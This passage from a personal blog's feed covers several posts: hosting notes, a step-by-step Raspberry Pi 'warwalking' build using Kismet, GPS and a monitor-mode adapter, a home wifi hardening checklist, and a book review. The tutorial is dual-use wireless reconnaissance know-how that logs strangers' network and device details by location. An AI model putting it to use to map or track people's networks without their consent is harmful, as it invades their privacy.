because:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;On droplets, you can preserve images on your hard drive, you don’t need to save them on a different server. You can’t do that on an Applet. you need “spaces” or AWS S3. From the digital ocean, it costs like 5 USD a month to use it, so basically, I set it up. &lt;a href=&quot;https://www.poeticoding.com/exaws-with-digitalocean-spaces/&quot;&gt;Here’s&lt;/a&gt; a good material on how to do it.&lt;/li&gt;&lt;li&gt;On droplets, you can serve your own database, there are no problems with that. On Apps, you’ll need another service. -.- “there’s DO service for that”, and here goes 5..7 more USD for the database (also, DO tells us that the database isn’t meant for production because it’s too small. yeah… but for a blog, it will be enough. I kind of don’t want to pay 12 USD for that). basically set it up and I’m done.&lt;/li&gt;&lt;li&gt;Doing this the first time might be problematic if you don’t know that DO wants you to run 2 pro docker containers straight away (for 24 USD total). and also all the ENV variables, which also might be problematic, if you don’t know how phoenix works on production. I have done this like 4-5 times now and it has gotten a lot easier.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;But, if it costs more or less double or triple, what was the added benefit?&lt;/p&gt;&lt;ul&gt;&lt;li&gt;I can push it straight to production and it will automatically be pushed to the server. and if something breaks with the new changes, the server will still be on, and nothing will change until the website compiles&lt;/li&gt;&lt;li&gt;I have learned a lot of new things (about spaces, how to set up file upload, LiveView e.c.)&lt;/li&gt;&lt;li&gt;I don’t have to set the Nginx config manually, I don’t need to set firewall rules, I don’t need to worry about old ubuntu versions, and I don’t need to do a lot of things, which would take time. I can just push and forget it.&lt;/li&gt;&lt;/ul&gt;&lt;h1&gt;What now?&lt;/h1&gt;&lt;p&gt;After all these updates to the blog, I think I’ll start to do more posts about security and books. I need finally to start my OSCP certification studying, again. I haven’t done that for a month. I also might do a little research, regarding the Wifi things that I got, and about lockpicking, how those things happen and how they are done, and how to prevent them. (aka physical security). Also, there are some small CSS fixes required in the blog, and some admin panel fixes, which would ease my life. (and also a problem with subdomains/domains for sockets, lol)&lt;/p&gt;&lt;p&gt;Anyway- till next time! :)&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/blog-update-08-09"/>
    <id>/blog/blog-update-08-09</id>
    <title>Blog update</title>
    <updated>2022-08-09T15:53:55Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;Do you want to make your walks more interesting, and also are interested a bit about wifi security? Then how about warwalking?&lt;/p&gt;&lt;p&gt;In this post, I gonna teach you how to set up a Raspberry Pi Zero 2 W, with a extra wifi card and GPS and how to set it up to automatically start to scan networks.&lt;/p&gt;&lt;p&gt;First off, You’ll need some things.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Raspberry Pi Zero 2W &lt;/li&gt;&lt;li&gt;Wifi with monitor mode (personally got Alfa AWUS036ACH v.2, to get also 5ghz monitor mode)&lt;/li&gt;&lt;li&gt;a micro SD card (I got Samsung microSDXC EVO Plus (2021), 64GB, Class 10 +)&lt;/li&gt;&lt;li&gt;USB hub with micro USB (MakerSpot 4-Port Micro USB Hub)&lt;/li&gt;&lt;li&gt;Power bank (ADATA, P20000D Power Bank, 20000 mAh. To be fair- it’s an overkill, but works perfectly)&lt;/li&gt;&lt;li&gt;GPS receiver (GlobalSat BU/353/S4&amp;nbsp;USB GPS Receiver)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Yeah, sounds a bit expensive, but, it’s worth it. You can reuse these devices later. If you’re into cybersecurity, then the rpi and alfa wifi will really do you good. Yes, you can get the monitor mode wifi cheaper, you just need to find the correct chipset. Personally, I took the Alfa one because of the reviews.&lt;/p&gt;&lt;p&gt;So, how to configure it all? First off, download rpi-imager (&lt;a href=&quot;https://github.com/raspberrypi/rpi-imager&quot;&gt;https://github.com/raspberrypi/rpi-imager&lt;/a&gt;) and install bare bone raspbian bulseye on the SD card.&lt;/p&gt;&lt;p&gt;When you have installed the everything in the sd card, go inside the card (trough your own OS) in boot drive, and create file in &lt;code class=&quot;inline&quot;&gt;wpa_supplicant.conf&lt;/code&gt; (in boot directory) . This will allow you to automatically connect to a wifi, when it turns on.&lt;/p&gt;&lt;p&gt;and put in your wifi config&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1

network={
    ssid=&quot;_MYSSID_&quot;
    psk=&quot;SOME PSK&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will make sure you can automatically connect to the wifi. (2.4Ghz Only, because this gonna connect trough Rpi built in wifi card).&lt;/p&gt;&lt;p&gt;after that, save it and close it. also, create a empty &lt;code class=&quot;inline&quot;&gt;ssh&lt;/code&gt; file in boot directory, so you can automatically connect to the rpi. save and put in the  sd card inside rpi and start it.&lt;/p&gt;&lt;p&gt;First off, if you can, check if the Rpi has connected to your wifi device (most of the wifis can show you, what are the current clients and their IPS). You’ll need the rpi IP address to connect to it. if you can’t find that, you can also use something like nmap to find it &lt;code class=&quot;inline&quot;&gt;sudo nmap -sS -p 22 192.168.1.0/24&lt;/code&gt; (scan your local network, basically)&lt;/p&gt;&lt;p&gt;when you have found your rpi just ssh into it with&lt;/p&gt;&lt;p&gt;&lt;code class=&quot;inline&quot;&gt;ssh pi@YOURIP&lt;/code&gt; accept the connection. and then try to connect. the default password for raspberry pi zero is &lt;code class=&quot;inline&quot;&gt;raspberry&lt;/code&gt; aaand you have connected if you made it this far.&lt;/p&gt;&lt;p&gt;So, what now. First things first- change the admin password with &lt;code class=&quot;inline&quot;&gt;passwd&lt;/code&gt;  and set it to something better.&lt;/p&gt;&lt;p&gt;also, if you want, you can go into &lt;code class=&quot;inline&quot;&gt;sudo raspi-config&lt;/code&gt; and configure some things if you want to.&lt;/p&gt;&lt;p&gt;When you have installed all the default things, it would be nice to update and upgrade your rpi.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt upgrade&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;after that, lets start and install some things. install gpsd ( &lt;a href=&quot;https://gpsd.gitlab.io/gpsd/&quot;&gt;https://gpsd.gitlab.io/gpsd/&lt;/a&gt; ) &lt;code class=&quot;inline&quot;&gt;sudo apt install gpsd&lt;/code&gt; Basically, this is the main component for gps data.&lt;/p&gt;&lt;p&gt;if you already have your gps device connected to usb, check if it exists with &lt;code class=&quot;inline&quot;&gt;ls /dev/ttyUSB*&lt;/code&gt; The device will always be ttyUSB something, but most likely 0.&lt;/p&gt;&lt;p&gt;after you have checked what is what in there, run &lt;code class=&quot;inline&quot;&gt;sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock&lt;/code&gt; (where USB0 is the device), to configure gpsd correctly. start the gpsd service with &lt;code class=&quot;inline&quot;&gt;sudo systemctl start gpsd.service&lt;/code&gt; (also, enable it)&lt;/p&gt;&lt;p&gt;after that, go near the window and check the &lt;code class=&quot;inline&quot;&gt;gpsmon&lt;/code&gt; to understand if you have configured the gps correctly or not. if you got your gps location- congratz! you have done one part of the config.&lt;/p&gt;&lt;p&gt;now… The fun part- wifi. This might be a bit pain in the ass, but it will work, trust me. also, I would advise to download this &lt;code class=&quot;inline&quot;&gt;sudo apt install aircrack-ng&lt;/code&gt; this will help you to work with wifi monitor mode faster.&lt;/p&gt;&lt;p&gt;first things first, you’ll need to install the driver for the wifi. The Alfa wifi doesn’t have a driver by default, so, you’ll need to compile it by yourself.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo apt install git
git clone https://github.com/aircrack-ng/rtl8812au.git
sudo apt-get install raspberrypi-kernel-headers
cd rtl8812au/
sed -i &amp;#39;s/CONFIG_PLATFORM_I386_PC = y/CONFIG_PLATFORM_I386_PC = n/g&amp;#39; Makefile
sed -i &amp;#39;s/CONFIG_PLATFORM_ARM_RPI = n/CONFIG_PLATFORM_ARM_RPI = y/g&amp;#39; Makefile
make
sudo make install&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;this will download the git, download the rtl8812 chipset drivers, configure the driver, compile it and install it. this is really necesary to actually use the wifi. but it isn’t that hard. after you have done this, just restart it and check, if you can see your wifi inside the &lt;code class=&quot;inline&quot;&gt;ip addr&lt;/code&gt; (&lt;a href=&quot;https://access.redhat.com/sites/default/files/attachments/rh_ip_command_cheatsheet_1214_jcs_print.pdf&quot;&gt;https://access.redhat.com/sites/default/files/attachments/rh_ip_command_cheatsheet_1214_jcs_print.pdf&lt;/a&gt;) (would advise to read this) if iy shows up- great. that means you installed the drivers correctly. if not… Trial and error somewhere.&lt;/p&gt;&lt;p&gt;when you’re done there, i would advise to to add this in &lt;code class=&quot;inline&quot;&gt;/etc/network/interfaces&lt;/code&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;allow-hotplug wlan1
iface wlan1 inet manual
pre-up iw dev wlan1 set type monitor
pre-up ip link set wlan1 up
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;this will automatically hotplug your wlan1, and set it to monitor mode, when the rpi is turned on.&lt;/p&gt;&lt;p&gt;Next thing… Kimset itself. first off, don’t install it straight away, you’ll get the old version. better, do this&lt;/p&gt;&lt;pre&gt;&lt;code&gt;echo &quot;deb https://www.kismetwireless.net/repos/apt/release/$(lsb_release -cs) $(lsb_release -cs) main&quot; | sudo tee /etc/apt/sources.list.d/kismet.list
sudo apt-get update
sudo apt-get install kismet2018
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;this will allow you to install the newer version, which you can control over browser. trust me- it’s a lot easier to see what’s being scanned from a browser, rather than from console.&lt;/p&gt;&lt;p&gt;now the fun shit- actually configuring it.&lt;/p&gt;&lt;p&gt;first off, go into &lt;code class=&quot;inline&quot;&gt;/etc/kismet/kismet.config&lt;/code&gt; and add this in the config&lt;/p&gt;&lt;pre&gt;&lt;code&gt;source=wlan1:type=linuxwifi
source=hci0
gps=gpsd:host=localhost,port=2947&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;basically, this sets your gps and sources where you’ll get the info about the wifi. (one source is from your wifi, other is for bluetooth. if you don’t want bluetooth, remove the hci0)&lt;/p&gt;&lt;p&gt;in &lt;code class=&quot;inline&quot;&gt;/etc/kismet/kismet_drone.config&lt;/code&gt; (if i’m correct. perhaps i still got this by installing the old kismet), add this&lt;/p&gt;&lt;pre&gt;&lt;code&gt;nsource=wlan1
gpshost=localhost:2947&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(not sure about this, but perhaps)&lt;/p&gt;&lt;p&gt;then, change the damn logging, trust me. if you’re not going to run it root (which i wouldn’t advise to run), in the &lt;code class=&quot;inline&quot;&gt;/etc/kismet/kismet_logging.config&lt;/code&gt; set &lt;code class=&quot;inline&quot;&gt;log_prefix=/home/pi/your_directory&lt;/code&gt; . this will save all the kismet data to your directory there. but that directory should be created already.&lt;/p&gt;&lt;p&gt;so, the config there is dne, now you basically need to create a kismet group and add pi user to that group. (&lt;code class=&quot;inline&quot;&gt;kismet&lt;/code&gt; group should already be created, if not, run groupadd)&lt;/p&gt;&lt;p&gt;but basically, just run this &lt;code class=&quot;inline&quot;&gt;sudo usermod -aG kismet pi&lt;/code&gt; . that will add the pi user to kismet group.&lt;/p&gt;&lt;p&gt;then, go and create this service &lt;code class=&quot;inline&quot;&gt;sudo vi /lib/systemd/system/kismet.service&lt;/code&gt; with this data&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[Unit]
Description=Kismet
ConditionPathExists=/usr/bin/kismet
After=network.target auditd.service

[Service]
User=pi
Group=kismet
Type=simple
ExecStart=/usr/bin/kismet --no-ncurses-wrapper
KillMode=process
TimeoutSec=0
Restart=always

[Install]
WantedBy=multi-user.target&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;this will create a systemd process what you can activate to automatically start kismet.&lt;/p&gt;&lt;p&gt;basically, then you can start the kismet by &lt;code class=&quot;inline&quot;&gt;sudo systemctl start kismet.service&lt;/code&gt; if there are any errors (or something wrong with status), check &lt;code class=&quot;inline&quot;&gt;journalctl -xe&lt;/code&gt; and fix the errors.&lt;/p&gt;&lt;p&gt;then you can go in the browser &lt;code class=&quot;inline&quot;&gt;rpi_IP:2501&lt;/code&gt; and set the password&lt;/p&gt;&lt;p&gt;aaand you can start walking. also, be cool and add the kismet data to &lt;a href=&quot;https://wigle.net/&quot;&gt;https://wigle.net/&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/3ae8eb28-2746-4cb6-9511-aa6d4371e1fb.png&quot;&gt;&lt;p&gt;aand this what i got in a week of walking around. I have seen almost 45k networks, and a lot of bluetooth devices. and i got information about their mac addresses, gps location, what kind of wifi it is (as in 2.4, or 5), what channel is it on, what encrpytion does it have, and a lot of other information.&lt;/p&gt;&lt;p&gt;this was a pretty neat project to go in and do.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/wifi-scanning"/>
    <id>/blog/wifi-scanning</id>
    <title>Wifi scanning</title>
    <updated>2022-01-20T20:03:22Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;So, you basically daily use wifi. BUT… What do you really know about it? what really should you do with it? is 2.4Ghz better than 5Ghz, or other way around? Why it might be slow? Which device should you use? And other questions. Well, I’ll try to answer most of these questions.&lt;/p&gt;&lt;p&gt;So, Wifi is one of the most used technoligies nowadays. Like- basically everybody has used it, but a lot of people just “set it and forget it”. And I really don’t like this attitude about people. You should at least keep some things in mind, like, if you ever will be using it, and if all your devices will be able to connect to it.&lt;/p&gt;&lt;h3&gt;So, first thing first- 2.4 Ghz vs 5Ghz.&lt;/h3&gt;&lt;p&gt;Lets start with the 2.4 Ghz which has been around for about… 23 years. and, I think you have heard and used most of these standards- 802.11 b/g/n (okay, n standard can also be in 5Ghz, but it mostly was used as 2.4). This means, that most of the old or low power devices  will be able to use this wifi. Even if 5Ghz is going mainstream, not all devices still use it (some older phones, older than 2-3 years don’t use them). Also, fun fact- Rpi Zero W 2 doesn’t use 5Ghz, but 2.4Ghz only. The biggest plus about the 2.4Ghz, is that it can “go trough dense materials” better than 5Ghz networks. Basically, if you want to know more about this, read &lt;a href=&quot;https://physics.stackexchange.com/questions/87751/do-low-frequency-sounds-really-carry-longer-distances&quot;&gt;this&lt;/a&gt; (it’s a bit more haredr to understand, but basically less hertz, more distance and other way around- more hertz, less distance. That’s a good reason, why 5G (talking about the mobile network) really bad in some houses).  Maximum speed for this network is from 150mbps (~18.75 mb/s) for all devices. Aaand the range- about 36m indoors. Fun fact about android- If you got a dualband wifi (basically a device which has 2.4 Ghz and 5Ghz) and you got it named the same way, it will by default connect to the 2.4 Ghz, not the 5Ghz. That’s why it’s recommended to split the 5Ghz and 2.4Ghz seperatly.&lt;/p&gt;&lt;p&gt;aaand 5Ghz. It has basically just same things as 2.4Ghz, but it works in 2 times lower range (~16m for good range), but it has bigger network speeds. (162mb/s max for 802.11 ac and 437 mb/s for the newer 802.11 ax standard.).&lt;/p&gt;&lt;p&gt;Additionally, if you want the wifi to go farther, like I said previously, use 2.4ghz. But still, there comes physics in play- &lt;strong&gt;Attenuation&lt;/strong&gt;. (&lt;strong&gt;Attenuation coeficients&lt;/strong&gt; and so on. for more information,). Basically, we all been there, that you don’t have wifi in one room of the house, because the floor/walls are too thick, or made from some material. Basically it’s that. To be fair, to find accurate information about this is really pain in the ass, but basically, look by the “attenuation wifi” keyword and perhaps you will run into something (like &lt;a href=&quot;https://eyenetworks.no/en/wifi-signal-loss-by-material/&quot;&gt;this&lt;/a&gt; )&lt;/p&gt;&lt;p&gt;Now… There might be moments when your internet might be slow. So, what could be the reason? Well, like in life, it depends. But, in my mind there are some things what could interfere:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Your wifi is located too far and it has a lot of stuff interfeering (like walls. like i said previously- attenuation). Basically, you can fix this by getting another wifi in that room (for example, using powerline extenders (if you don’t care about speed and the room is in the same power phase.), using &lt;a href=&quot;https://www.youtube.com/watch?v=mOiu9fgOhFo&quot;&gt;mesh networking&lt;/a&gt; , using stronger antenna, or, use &lt;a href=&quot;https://www.youtube.com/watch?v=0Z-C3P6F-KY&quot;&gt;wifi extender&lt;/a&gt; .&lt;/li&gt;&lt;li&gt;Your wifi might be on a filled &lt;a href=&quot;https://www.electronics-notes.com/articles/connectivity/wifi-ieee-802-11/channels-frequencies-bands-bandwidth.php&quot;&gt;channel&lt;/a&gt;, where a lot of devices are using the same frequencies. for example, this is a list of 2.4ghz channels&lt;/li&gt;&lt;/ol&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/604bffe2-33ff-4507-966d-e3d6f6d785cc.png&quot;&gt;&lt;p&gt;and there might be a problem, that a lot of people will be on 1,6 or 11 channel. Basically, you should then scan your local wifi network, see which channels are taken more, and use the least used one.&lt;/p&gt;&lt;ol start=&quot;3&quot;&gt;&lt;li&gt;You might be using a channel, which overlaps with a different channel, somebody is using. for example- you’re using channel 3 (for some unknown reasons), and everybody else is using 1 or 6 channel. Basically, looking at the image i previously added, you can see that channels overlap a lot. this would mean your wifi would be degraded. Fastest way to fix it would be go back in the range which everybody uses and doesn’t overlap.&lt;/li&gt;&lt;li&gt;You might be using a wrong “port” or your device doesn’t allow to take in that much of speed. For example, some of the devices have “fast ethernet” port, which basically has 100mbit max speed, instead of Gigabit ethernet, which can do 1000mbits. How can you tell if you’re using the correct port? check the LEDs. This image might give you idea what to look. But mostly, if it’s amber, you’re using the correct port.&lt;/li&gt;&lt;/ol&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/ffb4224c-6764-4c25-9607-ce08fc1c1b72.png&quot;&gt;&lt;ol start=&quot;5&quot;&gt;&lt;li&gt;Well- configuration. You might added a lot of filtering stuff on it and that’s one of the reasons why it’s slow.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;There are many more reeasons, but these are one of the main things what comes in my mind when your wifi is slow.&lt;/p&gt;&lt;p&gt;Also, remember that 2.4Ghz and 5Ghz wifis work in different ranges, so, basically- they won’t interfere each other.&lt;/p&gt;&lt;p&gt;So… We just talked about the physical things about the Wifis, now lets get more technical. Lets talk about configuring them.&lt;/p&gt;&lt;h3&gt;How to configure your wifi router to make it more secure.&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt; off- &lt;strong&gt;FOR THE LOVE OF GOD, CHANGE YOUR DEFAULT ADMIN PASSWORD AUTOMATICALLY WHEN YOU GET THE DEVICE.&lt;/strong&gt; No, really- i need to cap it and bold it, because even if you think that you’re not an interesting person and nobody will hack you… Then remember- people like me exist, who will do that for shit and giggles. and remember, that &lt;a href=&quot;https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv&quot;&gt;this&lt;/a&gt; exists. also, there are materials on the internet, to understand which &lt;a href=&quot;https://router-network.com/default-router-passwords-list&quot;&gt;IP&lt;/a&gt; is used for these devices.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Second&lt;/strong&gt;, change your SSID for the device. Why? Basically, it reduces the risk that the hackers might find what kind of device you’re using. Currently, i have seen a lot of people that aren’t tech savy, that put the wifi name as default ones. Or even worse, &lt;strong&gt;put their flat/location number, name/surname as the SSID&lt;/strong&gt;. it’s even worse to do that, because you can easly identify who uses this network. It would be better to use a wifi name that.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Third&lt;/strong&gt;, check if you have enabled 2.4ghz and 5ghz, and it’s named differently, if you want to use both of them.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Fourth&lt;/strong&gt;- check, if you got &lt;strong&gt;only&lt;/strong&gt; WPA2, and remove that you can use. If your router doesn’t allow that, then, at least use WPA. and if doesn’t have that too- change your device because it’s not safe anymore. fun fact- Any device manufactured after 2006 with a \u201cWi-Fi\u201d logo must support WPA2 encryption. Also, use WPA2-PSK(AES), because it’s safer than TKIP. Also, use a password generator instead of some random password, which could be in &lt;a href=&quot;https://www.kaggle.com/wjburns/common-password-list-rockyoutxt&quot;&gt;rockyou&lt;/a&gt; word list.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Fifth&lt;/strong&gt;- disable Wi-fi protected setup (WPS). Its so insecure, that you can hack this in mere minutes (look up &lt;a href=&quot;https://security.stackexchange.com/questions/149178/what-is-pixie-dust-attack-on-router&quot;&gt;pixie dust&lt;/a&gt; attack).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Sixt&lt;/strong&gt;- if you really are a beginner- turn of remote control. You rarely gonna use that and it makes it safer that noone outside your wifi will be able to connect to your wifi device. Anyway, even if you’re an advanced user, you will rarely use it. Like, really rarely. I have never connected to my device remotly in last 10 years.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Seventh&lt;/strong&gt;- if you can, create a virtual access point (AP). It’s because you wouldn’t want to give your private network access to some random people, who just come to your house once. If he got your password to your network, well… He will always have an access to your network.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Eight&lt;/strong&gt;- well, this is more like an advice, but- when you’re out of house, turn off your wifi. Because everything is connected to the internet at your home, and, well, would suck if somebody would have access to everything, while you’re gone. Just food for thought.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Nine&lt;/strong&gt;- just remembered. Change your IP range (i mean, 192.168.0.0/24 to something else, like 192.168.69.0/24) from default range, so that it would be hard to guess what your device is.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Ten&lt;/strong&gt;- check your firmware version. if it’s possible, update it. There might be some security patches, that could make your device safer. Just in case, check it once a month.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Eleven&lt;/strong&gt;- optional. If you can, add MAC filtering. This means you got a whitelist (basically a list which can use your network), and nobody else can connect to it. This is really when you want to make your network secure. Still- some dedicated hackers can spoof your device addresses, but still- it will be harder to do that, if you got a whitelist.&lt;/p&gt;&lt;h3&gt;Recommendations when buying a wifi&lt;/h3&gt;&lt;p&gt;Sooo… yeah. that’s the basics what i would love people to do, if they want to make their networks secure. My advice, when buying a wifi-&lt;/p&gt;&lt;ol&gt;&lt;li&gt;get a wifi, that supports 2.4 Ghz and 5Ghz&lt;/li&gt;&lt;li&gt;Search a wifi that isn’t frequently talked about its security flaws (Watching at you d-link/tp-link)&lt;/li&gt;&lt;li&gt;It allows to add virtual AP.&lt;/li&gt;&lt;li&gt;They got more than 1 anthenna on it (okay, this is more what i would love)&lt;/li&gt;&lt;li&gt;If you got IoT (Internet of things, like smart kettles, anything else what isn’t a phone or pc),  it would be great that you would be able to create and manage virtual LANS (&lt;a href=&quot;https://www.youtube.com/watch?v=jC6MJTh9fRE&quot;&gt;VLANs&lt;/a&gt;) it’s not a requirement, but would be a nice to have.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;There are a lot of other things to talk about, but this post already is getting too long. So, for starters lets stay here.&lt;/p&gt;</content>
    <author>
      <name>Dawgora</name>
    </author>
    <link href="/blog/Wifi"/>
    <id>/blog/Wifi</id>
    <title>Wifi and tears</title>
    <updated>2022-01-13T00:52:53Z</updated>
  </entry>
  <entry>
    <content type="text">&lt;p&gt;So, I just finished reading a book about emotional design- why we love (or hate) everyday things, so, here are my thoughts about this book, also some notes/quotes from them (what I took). Basically, this is a small concept of the book and wrote down what was noteworthy.&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/0b33deb2-3556-45f0-bf5d-91cb1790b7b0.jpg&quot;&gt;&lt;p&gt;Personally, before reading the book, I was really skeptical about this- that design actually means something that much. Much more like a functional person, like me- who basically always wants more functionality than a design, but, after reading the book, some things came to mind that actually design is important, now that you really start to think about it. So- why?&lt;/p&gt;&lt;p&gt;There was a &lt;a href=&quot;https://www.researchgate.net/publication/290957555_Apparent_usability_vs_inherent_usability_experimental_analysis_on_the_determinants_of_the_apparent_usability&quot;&gt;cool statement&lt;/a&gt;, that There were 2 kinds of ATM\u2019s in Japan- one with nice design, but bad functionality, while there was a really good ATM, with a lot of functionality… But with bad UX. They found out that even if you have the best functionality in the world, if it\u2019s not appealing, then yes- most people will say it\u2019s worse than a well-designed product. And yes, some people thought that it was because \u201cthis happened in Japan- Japanese need everything AESTHETIC\u201d, but no, somebody tested this in a different country (I think it was Iran or Iraq) and the same thing happened. So, basically- if you’re creating something- don\u2019t skip on aesthetics. You can make the shittiest idea in the world look good, and some people will think it works great. On a different place in the book, there was written, that \u201cPositive emotions are as important as negative ones- positive emotions are critical to learning, curiosity, and creative thought, and today research is turning toward this dimension.\u201d. So, basically- if you feel good, you learn better. No explanation is needed there (but okay, this is kind of understandable). Also, fun fact- if you want to help somebody with a hard task, and want to motivate them, give them a small gift, not too big, not too small (cookies, anyone?), but make them feel that you wanted to help them. &lt;a href=&quot;https://web.archive.org/web/20140809003037id_/http://psy2.ucsd.edu:80/~nchristenfeld/Happiness_Readings_files/Class%205%20-%20Isen%201972.pdf&quot;&gt;Alice Isen&lt;/a&gt; found out that it helps you to work with hard tasks.&lt;/p&gt;&lt;p&gt;Also, there was a note that if people are anxious or tense, people tend to do things over and over again. Speaking of emotions- did you know that if you\u2019re given a task, and you\u2019re sad, you\u2019ll be the first that will see the &lt;a href=&quot;https://www.researchgate.net/publication/318381010_Why_You_Don%27t_See_the_Forest_for_the_Trees_When_You_Are_Anxious_Anxiety_Impairs_Intuitive_Decision_Making&quot;&gt;small details, rather than the big details?&lt;/a&gt; And if you get too anxious, you\u2019ll probably enter a tunnel vision and won\u2019t see anything that happens around you. Because of this, imagine why there\u2019s a law that you need to put fire doors pushable, not pullable- because people in a burning house don\u2019t think about pulling anything, they are too focused on running away.  Later on, in the book there were mentioned things like Emotions, moods, traits, personality- Emotions last for relatively short periods- minutes or hours. Moods are longer-lasting, measured perhaps in hours or days. Traits are very long-lasting, years or even a lifetime. And personality is the particular collection of traits of a person that last a lifetime. &lt;/p&gt;&lt;p&gt;So, now to the fun part. Donald Norman thinks that there are 3 types of processing and why we like/dislike things-&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/d7ad40d3-af81-40db-8bff-38ce92bdde6f.png&quot;&gt;&lt;p&gt;So… about these 3 Levels, which really create the user experience (UX)… (taken from &lt;a href=&quot;https://pathumpmgux.medium.com/why-is-normans-3-levels-of-design-important-e93c8ffe1e37&quot;&gt;here&lt;/a&gt; )&lt;/p&gt;&lt;img src=&quot;https://img.cdn.dawgora.com/73724fb9-0af0-4a96-88a6-b0c306f1ce2c.png&quot;&gt;&lt;p&gt;Some quotes from the book:&lt;/p&gt;&lt;p&gt;The design requirements for each level differ widely. The  &lt;strong&gt;Visceral level&lt;/strong&gt;  is pre-consciousness,  pre-thought. This is where appearance matters and first impressions are formed.  Birds were selectively enhanced through the evolutionary process to be maximally attractive to female birds as in turn, were the preferences of female birds to discriminate better among male plumages. The human preference for faces and bodies that are symmetrical presumably reflects the selection of the fittest; non-symmetrical bodies probably are the result of some deficiency in the genes or the maturation process. Humans select for size, color, and appearance, and what you are biologically disposed to think of as attractive derives from these considerations. When we perceive something as  “pretty,”  that judgment comes directly from the visceral level. You can find the visceral design in advertising, folk art and crafts,  and children’s items.  Thus,  children’s toys,  clothes,  and furniture will often reflect visceral principles: bright,  highly saturated primary colors. Is this great art? No, but it is enjoyable. At this level, physical features \u201clook, feel and sound\u201d dominate.&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;behavioral&lt;/strong&gt; level is about use, about the experience with a product. The first step in good behavioral design is to understand just how people will use a product. Good behavioral design has to be a fundamental part of the design process from the very start; it cannot be adopted once the product has been completed.  Why do so many designs fail? Mainly because designers and engineers are often self-centered. Engineers tend to focus upon technology, putting into a product whatever special features they themselves prefer. Many designers fail as well through their fondness for the sophisticated use of images,  metaphors,  and semantics that win prizes in design competitions but create products that are inaccessible to users. Web sites fail here as well, for the creators focus either upon the technical sophistication of images and sounds, or upon making sure that each division of a company receives the recognition that its political power dictates. None of these cases takes into account the concerns of the poor user, people like you and me, who use a product or website to satisfy some need.  Reflective one is the most vulnerable to variability through culture, experience, education, and individual differences. This level can also override the others. Hence, one person’s liking for otherwise distasteful or frightening visceral experiences that might repel others, or another’s intellectual dismissal of designs others find attractive and appealing. Sophistication often brings with it a peculiar disdain for popular appeal, where the very aspects of a design that make it appeal to many people distress some intellectuals. Reflective design,  therefore, is about long-term relations, about the feelings of satisfaction produced by owning, displaying,  and using a product. Whether we wish to admit it or not, all of us worry about the image we present to others - or, for that matter, about the self-image that we present to ourselves.  Do you sometimes avoid a purchase “because it wouldn’t be right” or buy something to support a cause you prefer?  These are reflective decisions. Even people who claim a complete lack of interest in how they are perceived - dressing in whatever is easiest or most comfortable, refraining from purchasing new items until the ones they are using completely stop working - make statements about themselves and the things they care about. These are all properties of reflective processing.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Reflective&lt;/strong&gt;-level operations often determine a  person’s overall impression of a product.  Here,  you think back about the product, reflecting upon its total appeal and the experience of using it. Here is where many factors come into play and where the deficiencies of one aspect can be outweighed by the strengths of another.  Minor difficulties might very well be overlooked in the overall assessment or enhanced, blown all out of proportion. Reflective design is really about long-term customer experience.  To be fair, when you think about it, it\u2019s true. You look for a visually appealing thing, works as you need it, and it just satisfies you. In psychology, the study of the self has become a big industry, with books, societies,  journals, and conferences. But “self” is a complex concept: It is culturally specific. Thus, Eastern and Western notions of self vary considerably, with the West placing more emphasis on the individual, the East on the group.  Reading the book further I loved to read about the part about people using DIY kits and feeling accomplished. In the book, Don talked about two instances of this- when a Noob, who hasn\u2019t done anything, gets a remote control DIY kit and finishes it, he feels a big accomplishment, they will be really proud about their accomplishment, so I came to this statement \u201cThe DIY kits- the bigger the noob, the bigger the accomplishment feeling\u201d. Then there was the other part- of the experience is too simple, it also is too bad. The book told about the cake mix story, that people didn\u2019t feel accomplished, when they got a cake mix that only needs water to be finished basically. Yeah, it tasted good, but everybody could do that. If you, perhaps, make somebody add something more, like eggs, the accomplishment feeling increased, because not everybody could do that, kind of. The personality of the product should be the same as a person. If it’s formal, don’t shoot out some bullshit. IN THE world of products, a 